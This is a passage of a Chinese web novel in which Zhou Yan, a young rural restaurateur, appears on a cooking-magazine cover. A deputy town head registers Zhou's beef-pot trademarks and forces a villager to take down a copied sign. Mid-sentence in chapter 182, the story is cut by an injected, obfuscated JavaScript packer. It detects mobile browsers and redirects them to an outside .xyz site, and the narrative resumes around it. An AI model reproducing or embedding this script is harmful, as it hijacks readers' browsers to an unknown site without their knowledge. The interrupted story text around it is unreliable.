周砚上杂志，还有两页的专访，更重要的是还上了杂志封面呢！ 这也太炸裂了吧！ 这是一个乡镇小饭店的老板在这个年纪能获得的成就吗？ “给瑶瑶看看？”朱玉玉小声道。 邓虹点头。 两人正准备把杂志合上。 “看啥呢？”坐旁边的姐们探头看了一眼，立马惊叹道：“我去！这不是上回苏稽那老板吗？登杂志了？” 邓虹两眼一黑，隔壁宿舍的东北娘们就是虎啊。 姐姐，上课呢！ 苏教授正在讲最新的广告案例，这姐妹突然嗷一嗓子，整个教室都安静了，旋即爆发出一阵哄笑声，众人纷纷向着邓虹她们看了过来，一个个龇着大牙笑。 邓虹捂脸，无法面对同学们的注目。 朱玉玉低头认真看书，假装什么都没有发生。 罪魁祸首万静宜也是一脸尴尬，有点不知所措。 夏瑶侧头看着三人，面露疑惑之色，苏稽老板？杂志？怎么回事？ 讲台上，苏峻眼睛微眯，开口道：“万静宜，怎么回事？什么杂志？什么老板？” 被点名的万静宜只好站起身来，垂着的手冲着邓虹招了招。 后者立马把杂志塞她手上，这姐们还是仗义！ 万静宜拿起杂志，一脸歉意道：“老师，我包里的杂志刚刚不小心掉出来了，结果翻到那页竟然是个熟人，没想到能在杂志上看到他，一时没控制住情绪，激动了点，不好意思啊。” 她操着一口东北腔，把苏峻都逗乐，笑问道：“杂志上还有你熟人啊，那你说说，是谁？” 同学们也是纷纷露出好奇之色。 “大家伙都认识呢。”万静宜把杂志翻开，然后亮了出来：“苏稽那家饭店的老板周砚，就上回咱们吃了两顿面那家，他上杂志了。” 这话一出，教室里顿时炸开了锅。 同学们一个个伸长了脖子瞧着，还有忍不住站起身来的。 “周砚？！”夏瑶闻言眼睛一亮，同样向着万静宜手里的杂志看去，早上她们一起陪邓虹去拿的杂志，所以他上了《四川烹饪》杂志？ “还真是那老板！照片没本人帅。” “好厉害啊！这么年轻就登上杂志了。” “他的面和跷脚牛肉做的那么好吃，该他上杂志！回来吃山城小面都感觉少了几分味道。” 同学们议论纷纷，对于上回苏稽之行，印象最为深刻的，反倒是纺织厂门口那家小饭店。 苏峻闻言也是有些惊讶，他对周砚同样印象深刻。 不但勇救落水的夏瑶，厨艺也好，对广告的见解和应用更是不同凡响。 可这年轻人也就二十岁吧？ 就登上杂志了？ “不光是专访，他做的跷脚牛肉还登上《四川烹饪》杂志的封面了呢，这可是川渝地区最专业的烹饪杂志，一般能上这杂志的厨师，都是一级、特级大厨。”邓虹忍不住开口补充道。 “专业杂志啊！” “他才二十岁出头吧？” “凶的批爆哦！” 众人顿时一阵惊叹。 周砚和他们是同龄人，他们大学还没毕业，人家已经登上行业杂志封面了。 夏瑶的嘴角微微上扬，手中的钢笔不知何时再纸上画出了一条波浪线，犹如她此刻的心情一般愉悦。 “万静宜，把杂志拿上来，上课不许看杂志。”苏峻开口道。 “对不起老师，我错了！”万静宜拿着杂志上前，放在讲台上，踩着小碎步回到了座位上。 苏峻拿起杂志看了看封面，然后又翻到专访那两页粗略扫了一遍，目光落在末尾处，神情认真地开口道：“看，优秀的作品，就是最鲜活且有魅力的广告。” “厨师的菜，就是他的作品！” “它和你们的画与设计，并无区别。” “以权威杂志背书，将跷脚牛肉的背景故事深挖并拓展，再加入一段传承古老技艺的艰难曲折，凸显其宝贵和珍稀。看完这篇文章，每个人都会好奇跷脚牛肉到底滋味如何，是不是真的有着如此神奇的功效。” “立足于这篇文章，借助杂志的广泛宣传效应，周记跷脚牛肉从某种程度上来说，已经完成品牌化。” “周砚虽然是个厨师，但我觉得他还是一位天才广告设计师！嗅觉太敏锐了，可能连采访者都不一定意识到这一点。” “对于品牌塑造的敏锐嗅觉，是你们将来能否成为优秀广告设计师的重要天赋。” “或许你们都可以去买一本《四川烹饪》杂志看看，你们是去过苏稽，看到过写在灶上的简短故事，也亲口尝过跷脚牛肉味道的，对照着看，会有更深的体会。” 同学们本以为万静宜和邓虹会挨批，没想到拿到杂志的苏教授，竟然转而夸赞起周砚，并且给大家上了一课。 教室里安静了一会，同学们若有所思，纷纷鼓起掌来。 夏瑶也跟着鼓掌，嘴角彻底压不住了，竟是有种莫名的小骄傲。 她可是一直都知道的，他就是如此耀眼。 同学们的掌声是给周砚的，他没有听到，但……她可以画给他看。 邓虹嘴巴微张，小声赞叹：“苏教授对周砚也太好了吧？” …… 周砚刚往灶里添了根柴火，突然觉得鼻子有点痒，侧身打了个喷嚏。 “这是谁骂我呢？”周砚吸了吸鼻子，嘀咕了一声。 【叮！支线任务：上一期《四川烹饪》杂志已完成！】 【影响力结算完成：成功出川！】 【获得稀有奖励：鱼香肉丝】 求月票~！   (本章完) 第182章 撞枪口上了（7k二合一） 周砚愣了一下，顿时面露喜色。 没想到这支线任务竟然结算出来一道鱼香肉丝！ 鱼香肉丝在川菜中，应该归入家常菜范畴，和回锅肉一样，都是普通人家会常做的菜品。 川菜馆的菜单上，这道菜十分常见，一般和回锅肉、麻婆豆腐列在一起。 不过这样一道家常菜，却是川菜之中非常考验调味能力的菜品，也是厨师考级的必选菜之一。 一道以鱼香为名的菜，里面却没有鱼，对于外地人而言，欺骗性不亚于夫妻肺片里没有夫妻。 除了鱼香肉丝，周砚还尤为喜欢鱼香茄子。 鱼香味料汁的下饭程度，丝毫不弱于麻婆豆腐，在口感上又相对更为柔和一些。 咸辣酸甜，香气浓郁，对于吃不惯花椒麻味的食客来说，那就有口福了。 周砚正准备点开菜谱，外边传来了赵嬢嬢的声音：“周砚！**长找你。” “来了。”周砚应了一声，看了眼手表，把灶门半开半合，起身出了厨房。 黄琛穿着一身黑色夹克，身后跟着一位穿着藏蓝色中山装的青年，手里拿着文件袋。 “**长，您怎么来了。”周砚快走两步上前，笑着说道。 黄琛看着道：“周砚，我今天来是跟你商量大力发展和推广跷脚牛肉的事情的，还给你带了个好消息来。” 周砚闻言忙道：“您快快请坐，我泡壶茶，咱们坐下来慢慢聊。” “不影响你卤肉吧？”黄琛往厨房看了一眼。 “不影响，我看着时间呢。”周砚笑道，“一会卤素菜我就不留您了。” “茶就别泡了，咱们坐下来长话短说。”黄琛拉住周砚，直接在旁边的桌子坐下，“咱们今天来聊聊如何将跷脚牛肉产业发展壮大，看看你的想法，以及我们能够做的事情。” 周砚略一思索，然后开始侃侃而谈：“跷脚牛肉我个人觉得是大有可为的，如今我们饭店一天能卖出去一百四十碗跷脚牛肉，我堂哥周杰和周海在码头摆摊，也能卖出近百碗。 我们的定价比周村其他卖汤锅的村民，价格普遍要高一倍，因为我们加了价格更贵的吊龙，在香料包中加入了多种名贵中药和香料，凭借着味道获得了顾客的认可。 这次《四川烹饪》杂志的专访和封面，同样印证了这一点，我复刻并改良的跷脚牛肉，已经事实上成为了苏稽的一张新的美食名片。 靠着杂志背书，跷脚牛肉也成了一个品牌，它是具有传播性和专业性的，如果能够守住口碑，将其名气不断扩大化，将来或许能够凭借着这张名片吸引来许多游客，带动整个苏稽的经济发展。” 黄琛听得连连点头，一旁坐着的青年已经拿出笔记本，刷刷记录着。 “你看得非常长远，前几日何志远也跟我说过相似的话，我们开了专会讨论过此事，打算把苏稽跷脚牛肉这个招牌打出去。”黄琛看着他说道，“这两年，随着宰牛执照的陆续发放，你们周村宰牛户数量已经近百，每天杀牛数十头，运往嘉州各地售卖。 牛杂等附属品数量众多，能够做成汤锅卖完的只是部分，每天倾倒浪费的不在少数。如何将资源最大化利用，给宰牛户创收，也是我们想做的事情。 这两天我们已经摸排过，苏稽镇和青衣江畔卖汤锅的摊摊共计四十八个，大部分生意都不怎么好，一天只能卖出十几二十碗，卖不完自家宰牛剩下的牛杂。 在你看来，如何能够让他们的销量显著提升呢？” 周砚笑着摇头道：“小小一个苏稽镇，在没有外来游客的情况下，四十八家卖汤锅的摊位，这本身就是不合理的过饱和的状态。也就是这段时间天气渐冷，进入汤锅旺季，不然大部分汤锅摊摊连十碗都卖不出去。 我没有办法让他们的销量都显著提升，苏稽镇上喜欢吃汤锅、能经常吃得起汤锅的客户是固定的，唯有味道取胜，才能在激烈的竞争之中抢到更多的客户。 客人都是精明的，他们会在味道、价格之间做取舍，在激烈的同行竞争中，两三毛钱一碗的价格已经没有下探空间，那提升汤锅品质，从味道上做文章便成了唯一的办法。 我没法把跷脚牛肉的配方拿出来交给所有人，这是我们饭店安身立命的手段，但我不介意周村卖汤锅的村民，以我们周记跷脚牛肉作为标杆去改进和提升。 等这四十八家汤锅充分竞争，最后剩下十家八家各具风味，受到客人认可的跷脚牛肉店铺的时候，苏稽跷脚牛肉的集群效应也就会基本成型了。 不管是吸引游客前来品尝，还是走出苏稽走向更大的市场，都大有可为。 那些被淘汰了的摊贩，他们可以负责提供食材，或许比他们勉强出来摆摊挣得更多，也更轻松一些。 餐饮行业看似没有门槛，实则门槛比天高，哪怕你们有心扶持，也不是谁都能存活到最后。” 黄琛听得眼睛越来越亮，到最后忍不住拍手叫好：“还得是内行人啊！我们光想着如何让摊贩挣到更多钱，倒是忽略了客观市场规律，一语点醒梦中人。 你说得对，只有被市场检验过的味道，才能真正让客人满意。哪怕是跷脚牛肉，也应该做到各具风味和特色，这样游客来到苏稽，品尝各家味道，才会有惊喜感。” “就是这个道理。”周砚笑着点头，这其实也是他从后世总结的经验。后来的跷脚牛肉店，在跷脚牛肉上已经卷不出新花样，便开始加菜了。 粉蒸牛肉、肥肠不稀奇，火爆脆肠，豆腐抓脑花等争奇斗艳，主打一个吃跷脚牛肉不耽误吃下饭菜。 其实现在的周二娃饭店，就是这个形态的。 显得……没那么纯粹。 但确实挣的更多。 小地方嘛，专做跷脚牛肉，周杰和周海的摊摊就是上限了，一天卖个六七十块钱。 “行，这事明天我还得开个会再讨论一下。”黄琛点头，从身旁的工作人员手里接过文件袋打开，抽出一沓资料道：“我们已经帮你把《周记跷脚牛肉》、《周二娃饭店》、《张记卤味》这三个商标所需的资料全部准备齐全，你现在只需要在上边签字，我会让人把他送到市里，这样你就不用担心有人冒用这三个名号的问题。” “签个字就行了？”周砚翻看着那沓资料，确实是商标申请资料，就剩申请人一栏的签名了，心头不禁有些感动。 **长效率太高了，商标的事情他其实也有考虑过。 但最近他实在太忙，这年代要弄商标，肯定是要往嘉州跑，又不知道要弄哪些文件，要跑多少趟，这事也就耽搁了。 没想到黄琛竟然拿着文件上门，让他写个名字就行。 这种服务，着实是他没想到的。 对方对这件事的重视程度，超出了他的预想。 周砚把文件仔细看完，确定没有古怪后，看着黄琛道：“**长，我想再单独申请一个《跷脚牛肉》的商标。” “跷脚牛肉的商标你要是申请了，其他人是不是就不能用了？”黄琛沉吟道。 “您放心，我不会独占这个商标，我担心的是这个商标被有心之人注册后，不让真正做跷脚牛肉的人使用。只要对方做的汤锅能达到跷脚牛肉的标准，我会无偿授权使用。”周砚解释道：“这也是对跷脚牛肉的一种保护，避免在品牌尚未树立起来之前，口碑就先被破坏。等后续发展起更多的跷脚牛肉馆，便可以成立跷脚牛肉协会，将该商标改注册为集体商标。” 黄琛闻言连连点头，“这倒是我们没有考虑到位的，你的提议非常有前瞻性，我们回去之后会补一份申请表，今天就送来给你签字。” “好，谢谢**长的信任。”周砚说道，拧开钢笔把名签了。 私心嘛，肯定是有一点的。 先发优势如何利用，一步快，步步快。 他的目标很简单，把周记跷脚牛肉做成苏稽第一跷脚牛肉品牌。 做大蛋糕的同时，也要分走最大嘴甜那一块。 黄琛起身正准备走，门口停下一辆自行车，一个高大的身影走进门来，开口就说道：“周砚，那周亮亮改了咱们‘周记跷脚牛肉’的招牌，杰哥让我过来问你一声，这事要怎么处理合适。直接干，还是先骂一顿？” “啥子？周亮亮这个龟儿子做得出这种臊皮事啊？！肯定是高翠花这眼浅皮薄的瓜婆娘出的馊主意，不好好提升手艺，就晓得走歪门，正做不做，豆腐里放醋！”一直没插嘴的赵铁英闻言蹭的站了起来，手已经握住了砧板上的菜刀。 “还有这种事啊？”周砚闻言乐了，看向一旁的黄琛。 “**长也在啊。”周海看到黄琛愣了一下，连忙打了个招呼。 黄琛沉声道：“这种事情实在是太恶劣了！我们要严厉打击，绝对不能让周亮亮的这种行为扰乱市场，破坏我们刚刚建立起来的品牌形象！” “**长说的是。”周砚连连点头，“您看这事是我们自己处理，还是……” “打架不合适，到时候被抓进去，耽搁多少做生意的时间。”黄琛宽慰道：“你放心，这件事交给我们来办，保管他把名字改回去，周记跷脚牛肉的牌子，只有你们能用。其他人未经授权，都用不了。” “要得，有您这话，我就放心了。”周砚笑着说道。 黄琛摆摆手道：“你都不用过去，让周海带我过去就行。” 周海看向了周砚。 “海子哥，你跟**长去就是了，他会给我们主持公道的。”周砚笑着拍了拍他的手臂，“跟杰哥说，不要动手，都听**长的。” “要得。”周海点头，和黄琛出门去。 周砚见赵铁英拎着菜刀就要跟着出门，连忙上前把她拦住，笑着道：“妈，你干嘛去？” “干架去噻！”赵铁英一脸愤慨道：“周海和周杰根本不是高翠英的对手，我去给他们把场子撑起，免得高翠英颠倒是非，到时候周记跷脚牛肉都成他们家的了。” “我们不用去，让**长去就行了。”周砚笑着把菜刀从她手里下了，“我们要去跟她当街对骂，格局就被她拉低了，反倒让**长他们不好处理。” “**长能处理好吗？”赵铁英皱眉，“我在村里干了二十多年架，从来没见哪家男的能干的赢高翠英，也就我能治得了她。” “这不是骂街，人家**长是去警告和整改她的，她撒泼耍赖那套没用。”周砚笑着说道：“你守好你的高汤才是正事，我的卤肉也马上要出锅了。” 赵铁英闻言点头，“也是，我们这一锅汤要卖八十多块钱呢，跟她吵架毁了一锅汤不值当！” “对嘛。” “我刚刚听你们讲的云里雾里的，**长到底啥子意思？是要支持我们呢，还是让我们把配方拿出来？”赵铁英看着她问道。 “**长没有要配方，是支持我们把跷脚牛肉的口碑做好，市场做大，带领大家发家致富。”周砚笑着说道：“你看，他去帮我们处理这些事情，让我们能够安心开店，不就是一种支持。 周亮亮他们今天撞枪口上了，我估计**长要拿他杀鸡儆猴，给苏稽卖汤锅的立个规矩。” “真的啊？”赵铁英闻言也乐了，急的直搓手，“你这么一说，我更想去瞧瞧了，这么多年，高翠英出丑可是少见啊。” 周砚见她心痒难耐，笑着道：“你让老汉儿带你去嘛，火我来看，反正也就添根柴火的事。” “周淼！走，快点把车骑上。”赵铁英喊了一声。 老周同志把最后一个土豆切好，把菜刀洗了抹一层油挂在刀架上，笑着出门来：“走嘛，我带你去看。” “快点，免得一会错过了。”赵铁英跳上后座，搂住了周淼的腰。 周淼蹬上自行车便往码头方向而去。 周砚看着俩人远去的背影，嘴角挂着笑意。 老周同志就是这样，从来不扫赵嬢嬢的兴致，只要能办到的事，永远积极热情。 哪个中国人能拒绝看热闹啊？ 吃瓜的基因是刻在骨子里的。 生活索然无味，吃瓜拯救人类。 周砚要不是守着一锅卤肉，他都想去看看。 …… 码头上。 “来来来！正宗周记跷脚牛肉！三角五一碗，走过路过，都来尝尝嘛！”周亮亮正招呼着客人，红光满面，意气风发，全然不顾一旁周杰的白眼。 摊位上已经坐了七八个客人。 高翠英双手叉腰，一脸得意的站在灶台后边。 这招牌一换，生意确实变好了些。 跷脚牛肉这说法，确实比汤锅要更吸引人些。 周杰的客人不好抢，但原本去其他汤锅摊子的客人，倒是被他吸引了不少过来。 她今天是来给儿子帮忙和撑场子的，这招牌一换，以赵铁英的性子，肯定要来骂一场。 她昨晚把词都想好了，排练了一晚，觉都没睡好，熬了俩熊猫眼。 不过她信心满满，今天赵铁英要是来，肯定能骂的赢她。 而且，她不光要骂赢她，还要把这周记跷脚牛肉的招牌抢过来。 大家都是周村的，一个老祖宗，这招牌周砚用得，周杰用得，他们家亮亮一样用得！ 周海骑车走了有一会了，估摸着是去请赵铁英的。 周杰和周海他们那俩妈都是老实人，她捂半张嘴都能把她们骂哭。 在周村，也就赵铁英能勉强和她一战。 不过高翠花没等来赵铁英，等来的是黄琛副镇长和几名身穿制服的帽子同志。 车铃响起，周海带着人回来了。 周杰看到黄琛一行人都惊了，给周海使了两个眼色询问。 “周砚搬来的救兵。”周海把车停下，凑过来小声道。 黄琛一行把自行车停在了周亮亮的摊位前，下了车，抬头看着摊子上新做的招牌： 周记跷脚牛肉 六个大字用红色油漆刷的，歪歪扭扭，却也格外醒目。 黄琛眉头一皱，油漆味都还没散完，这一看就是昨晚赶工刷的新招牌。 周亮亮脸上的笑容一僵，下意识地往后退了两步，有点心虚地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256396|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向了他妈。 怎么周砚和她妈没来，副镇长和帽子同志来了？ 不就换个招牌吗，不至于吧？ 高翠花脸上的笑容也消失了，她是村里的妇女主任，常来镇上开会，对黄琛自然不陌生。 人是周海带回来的，一到地方就开始打量招牌，肯定是冲着他们来的。 副镇长带着四位帽子同志到场，立马引起了人们的注意。 特别是在码头上卖汤锅的周村村民，更是纷纷凑上前来看热闹。 周亮亮和高翠花母子俩这事做的不地道，都是一个村的，哪有抢人家招牌用的道理。 于情于理都说不过去。 张老太治家有方，在村里德高望重。 周家五兄弟也都是踏实肯干的人，平时邻里有什么事，能帮忙的从不推脱。 不过周亮亮这招牌一改，效果倒真是立竿见影，今天的生意比起往日都要好了不少，早上就卖了十多碗汤锅出去了， 财帛动人心，看他换个招牌就有这样的效果，其他摊贩心头不免也会有些想法。 做人地道不能换饭吃啊，周砚他们要是不撕破脸皮表个态，那他们明天可就都换招牌了。 不过，这副镇长和帽子同志怎么就来了啊？ 换个招牌还报警啊？ 高翠花堆起笑脸上前来，“**长，来吃跷脚牛肉啊？快快快，里边坐，我们家的跷脚牛肉可正宗了呢，祖传的手艺。” 黄琛板着脸看着她，沉默不语。 高翠花脸上的笑容渐渐消失，有点尴尬的搓手。 她在村里的蛮横劲，在黄琛和他身后站着的帽子同志面前，愣是半点都使不出来。 “手艺我信你是祖传，不过这招牌应该是昨天现抄的吧？”黄琛沉声道：“高翠花！你还是妇女主任呢，怎么连羞耻心都没得？” “周砚把周记跷脚牛肉的招牌打出来，周杰和周海兄弟俩跟着他学的手艺所以也用同一块招牌，是经过他同意的。” “你们这算啥子？拿油漆一刷，就敢说自己也叫周记跷脚牛肉了？这和强盗土匪有啥子区别？！你们这样子做，是要把跷脚牛肉的招牌砸了！” 高翠花听得脸色青一阵红一阵，被镇长当着这么多人面日决，今天这脸面真是丢的精光。 周村的摊贩闻言也是面色微变，**长这是给周砚和周杰他们撑场子来了呢，而且话说的还挺重的，一点没给高翠花这个妇女主任面子。 周亮亮和吴桂花夫妇俩缩着脑袋不敢说话，这可是镇长啊，他们哪敢说话。 赵铁英挤到围观的人群前边，不知从哪摸出了一把瓜子，嗑的津津有味，心头那叫一个舒坦啊。 她和高翠花斗了这些年，她赢多输少，但也从来没能把她骂的抬不起头，说不出话。 **长骂人段位不高，但官威大啊。 一级就能压**，这副镇长和村妇女主任差着不知多少级呢。 高翠花本来都想认了，瞧见在一旁一脸得意地嗑瓜子的赵铁英，心头立马燃起了一团无名火，不服气道：“**长，你这话就有点严重了吧，我们也是周村的，一个老祖宗，他周砚能叫‘周记跷脚牛肉’我们凭啥不能？大家都是出来摆摊卖汤锅的，难不成他比我们尊贵不成！” “就是。”周亮亮小声附和道。 围观的人不语，只是盯着黄琛，他们今天就想看看镇上对这事是什么态度。 “厚颜无耻！无知村妇！”黄琛从文件袋里掏出一张纸，朗声道：“周砚已经申请了《跷脚牛肉》、《周记跷脚牛肉》、《周二娃饭店》、《张记卤味》这四个商标，除了他和经他授权的人员，其他人不得擅自使用，否则将构成侵权！要吃官司的。” “吃官司！”高翠花闻言脸色一变。 现场众人也是一片哗然。 用个招牌，竟然还要吃官司？ 这后果也太严重了吧！ “还有这种事情啊？”周淼小声问道。 “我也是刚晓得，难怪周砚让我不用管。”赵铁英给周淼塞了一把瓜子，嗑的更起劲了，这种感觉太爽了。 “这屁大点的事也要吃官司？**长，你莫要豁我哦。”高翠花声音微颤。 周亮亮和吴桂花则是一脸害怕，瞧**长后边站着的帽子同志，怕不是来抓他们的？ “我今天就是来给你们普法的，你们不晓得，那我今天就跟你们讲清楚，讲明白。商标是受法律保护的，不容侵犯。”黄琛正色道： “周砚凭本事让跷脚牛肉上了《四川烹饪》杂志的封面，接受了专访，把跷脚牛肉的名声打出来了。 我们对此非常重视，决心要趁着这个东风，发展壮大我们苏稽的翘脚牛肉产业。 但是行业的发展，需要的是合理、正当的竞争，对于恶意抢占招牌，恬不知耻的说自己是正宗周记跷脚牛肉的行为，我们将进行严厉打击。” “一旦出现违法行为，视性质恶劣程度，将处以罚款和吊销个体户营业执照！” 这话一出，现场顿时一片安静。 个体户最重要的是啥子？ 不就是营业执照吗！ 要是没有营业执照，那就是非法经营，天天被撵着跑。 汤锅是要砌灶的，根本跑不脱。 高翠花还想争辩。 周亮亮夫妇俩连忙上前，一个捂嘴，一个往后拖。 “改！我们马上就把招牌改回来！**长高抬贵手！”周亮亮连忙说道。 哪怕不改招牌，他一天也能挣个三五块，比纺织厂上班的员工工资还高。 营业执照要是被吊销，他们上哪挣钱去？ 本来起了心思的摊贩，也是纷纷缩了脑袋。 周砚这靠山太硬了，哪个惹得起哦。 “明天我还会来一趟，我不希望再看到这个招牌。”黄琛看着周亮亮说道。 “要得！”周亮亮点头如捣蒜。 “我们不针对任何人，而是希望跷脚牛肉能成为我们苏稽的名片，给苏稽带来发展机遇，也给大家带来挣钱的机会。”黄琛看着围观的摊贩们朗声道： “下个星期一，我们会邀请所有做汤锅的个体户开会，聊聊如何谋发展，做大做强。只要你们的汤锅味道达到标准，就能用跷脚牛肉的名称，这样才能把跷脚牛肉的品牌做起来。” 众人闻言眼睛一亮，纷纷应和：“要得！” “好好整改哈。”黄琛看着周亮亮警告道，又和周杰、周海说了两句，便带着人走了。 “抄别人招牌不如好好研究怎么把汤锅做好，屎壳郎戴面具——臭不要脸的。”赵铁英冲着高翠花讥讽了一声，转身便走。 “赵铁英，你……你别得意！”高翠花气得直跺脚。 “妈，你就少说两句吧。”周亮亮把招牌扯下来，苦着脸道：“客人都跑完了，你别帮忙了，赶紧回家去，把这个也带走。” “你也敢嫌弃老娘？”高翠花瞪眼，“气煞我也！” 求月票~~明天加更！ (本章完) 第183章 这谁顶得住啊！（6k二合一） “太好笑了！高翠花的鼻子都要气歪了，看得我就像三伏天喝冰镇酸梅汤——从喉咙凉到肚脐眼！毛孔都松活了。”赵铁英笑着走进店门，得意劲都写在了脸上。 “我看她回去三天都吃不好饭。”周淼推着车进门来，附和道。 看完热闹回来的俩人，心情美得很，连班味都消了。 “四嬢，打起来了吗？”赵红一脸八卦地凑上前来，脸上全是对瓜的渴望和期待。 周砚刚把卤肉全部出锅，闻声跟着出门来，好奇问道：“最后怎么处理的？” “**长把高翠花和周亮亮骂了一顿，让他们马上整改，不然连营业执照都给他收了。”赵铁英笑道：“把周亮亮和他婆娘吓得，一个捂**嘴，一个把他妈往后拖，生怕高翠花没忍住把事情闹大。这么多年，还是头一回看高翠花吃那么大的瘪。” “**长还是靠谱，打蛇打七寸，晓得个体户最怕啥子。”周砚闻言也笑了，这种事情由**长出面处理是最高效且有威慑力的，要是让他们自己去处理，一场骂战在所难免，甚至有可能升级为械斗。 都是一个村的，撕的太难看，在镇上反倒成了笑话。 而且黄琛有意发展跷脚牛肉，连周村内部都争斗不休，如何能够成事？ 这也是周砚不直接参与的原因，太降逼格了。 跷脚牛肉上杂志封面，他上专访，这都是塑造跷脚牛肉品牌的好事。 赵铁英点头道：“就是，**长还警告了其他卖汤锅的不要乱用我们的招牌，不然要吃官司，确实是为民做主的好官。” “要得，那汤锅还是你来管，我去卤素菜了。”周砚说了一声，转身进厨房忙去了。 忙碌是好事，证明店里的生意不错。 不过眼下的小饭店确实越来越忙了，赵嬢嬢一天要做一百四十碗跷脚牛肉，还要兼顾点菜和结账，忙的脚不沾地。 赵红嫂子既要上菜，又要收桌，还要洗碗、洗菜，同样忙的跟陀螺一样。 老周同志这个劳模就更不用说了，一早起来跟他去买菜，回到店里就开始处理猪头、鸡，然后开始切今天要卤的土豆和藕，中午和晚上还得负责卖卤肉和卤素菜。 周砚自己也是如此，早上买菜、炒面臊子、拉面、煮面，卤肉、卤素菜，中午炒上百人的菜，晚上炒上百人的菜。 整个饭店处于一种不太合理的超负荷运转之中，周砚已经开始考虑再招收一名员工。 哪怕只是再招一名服务员，那也能大幅降低赵嬢嬢和赵红嫂子的工作量，提升响应顾客需求的速度，从而提升顾客体验。 现在饭店翻台率还不错，但以他制定的卫生标准，收完桌子还得擦干净，就挺费人工的。 中午吃饭的时候，周砚把这想法和赵嬢嬢说了。 “招人啊……”赵嬢嬢认真思索着，“这事得好好琢磨一下，既要手脚麻利，又要能吃得了苦，还得没坏心思才行。村里招的人，要是冲着跷脚牛肉来的，防也防不住啊。” 周砚闻言点点头，“也是这个道理。” 赵红嫂子这样知根知底的可不好招，周杰和周海的两位嫂子都在摊子上帮忙，周浩家的嫂子是当老师的。 周阳也在当兵，周明在峨眉山练武，这俩怕是童子功都还没破。 “这事不急，慢慢物色人选，要是招个事精来，还不如不招人呢。”赵嬢嬢说道，“我们忙点累点也能把活干了，睡一觉醒来，还不是生龙活虎的。” “就是，现在还忙得过来。”赵红也是笑着说道。 “行，我慢慢招人。”周砚笑着道，她们忍耐力太好了，这样的工作量都能承受，还会安慰他。 “我也可以帮忙吖！”周沫沫从碗里抬起头来，看着周砚一脸认真道：“我会的可多了呢。” “嗯，你是销冠的嘛。”周砚笑道，随着店里的生意日渐火热，销冠每天也是颇为忙碌，连玩梭梭板和观察蚂蚁搬家的时间都被挤占了不少。 不过销冠可不白干，她的小钱包里已经塞满了五分一角的提成，俨然成了一个小富婆了。 “我也可以帮忙切土豆的。”周沫沫认真道。 “那不是你销冠该干的活，我才是墩子嘛。”老周同志笑眯眯道，“你要抢我的工作吗？” 周沫沫想了想，摇了摇头，“算了，那你没有工作太可怜了。” “说起来，周明应该会回来给你爷爷扫墓吧？上回周浩结婚，他也回来了两天的。”赵嬢嬢换了个话题。 “他肯定会回来，峨眉山回来又不远，每年扫墓他都没有缺席。”老周同志开口道。 赵嬢嬢看着周砚道：“周砚，到时候你卤两斤猪头肉，我托周明带回去给你外婆尝尝，她还没有吃过你做的菜。” “要得。”周砚笑着点头，赵嬢嬢的老家就在峨眉山脚下，上回听她和那做峨眉豆腐脑的老板娘说，天景公社黑水村，可是正儿八经的峨眉雪芽产区。 老外婆健在，赵嬢嬢隔段时间会托人给老人家带点东西，聊表孝心。 “妈妈，我们啥时候去看外婆啊？我都快忘了外婆长啥样子了。”周沫沫奶声奶气道。 周砚闻言也是看向了她，峨眉山离得确实不算远，但去年过年赵嬢嬢好像没回娘家。 赵嬢嬢脸上勉强挤出几分笑容：“过年嘛，过年带你们去看外婆。” “好！”周沫沫脸上露出了笑容，咬了一口排骨又问道：“明明锅锅回来，我是不是可以跟他学武功啊？然后……然后我就变成了女侠。” “你还晓得女侠啊？”周砚笑了，“你不是说以后要当警察嬢嬢吗？” “警察嬢嬢不就是女侠吗？”周沫沫看着他，一脸认真的问道。 周砚琢磨了一下，觉得小家伙这说法，莫名有点道理。 “那等你明明锅锅回来，你就拜入峨眉派门下当女侠嘛。”周砚笑道。 练武练的是童子功。 周明是小学时候在学校被选上的，在学校里跟着校队一直练到初中毕业，拿了市级、省级不少金奖，初中毕业后拜入峨眉派，跟着师父修行和练武，如今在峨眉一边学武一边当体育老师，负责挑选和培养武术运动员，还带出了几个不错的苗子。 他是真的热爱武术，前两年还拿过一回全国武术比赛的峨眉拳第一，在武术界也算是小有名气的周师傅了。 周沫沫要是真想跟他学点防身术，周砚觉得挺好的。 技多不压身嘛，姑娘家学点真功夫在身上，以后出门不容易被欺负。 再说了，她要是以后真的坚定要去当警察嬢嬢，学点功夫，也算是提前打基础了。 一般人家还没这个条件呢。 至于周明愿不愿意教？ 周砚估摸着，只要周沫沫开口，他就不可能拒绝。 在老周家，能拒绝周沫沫请求的男人还没有出现呢。 “好！”周沫沫点头，高高兴兴地埋头继续干饭。 吃过午饭，饭店很快就忙碌起来了。 鱼香肉丝周砚已经学习，咸甜酸辣的口味，还没做周砚就已觉得相当美味。 店里刚推出麻婆豆腐，这道菜还处于火爆点单阶段，对其他菜品在销量上的影响尚在评估中，鱼香肉丝至少等到下周再推出。 菜单不能失去掌控，这点对于一个饭店而言至关重要。 他每天要买多少菜，都是前一晚就要计划好的。 除了莲花白和土豆，其他菜一旦买多了，剩下的食材就是亏损。 麻婆豆腐能够给饭店带来多少新客尚不清楚，但一天增加的四十份麻婆豆腐，必然会对原有的菜单产生影响。 简单来说，就是客人点了麻婆豆腐后，原本点回锅肉的计划可能被取消。 那多出来的这份回锅肉是否能被其他客人点掉，就会影响今日的回锅肉利润。 下班铃声响起，工人们从大门涌出，不少一进门点的就是麻婆豆腐。 这道刚推出的蓉城名菜，四十份销量，经过一天的发酵，已经成功建立起不错的口碑。 中午营业时间，竟然卖出了三十二份。 后厨只剩下八份的豆腐。 这火爆程度，有点超出周砚的预期。 “麻婆豆腐卖的太好了，我估计晚上还有不少人想吃想点的，你要去找姨婆运两板回来不？”赵嬢嬢看着解了围裙从厨房出来的周砚问道。 “四十份够了，再要二十份，今天备的菜要剩下不少。”周砚笑着摇头，倒不是他故意吊客人胃口，老板得有自己的节奏。 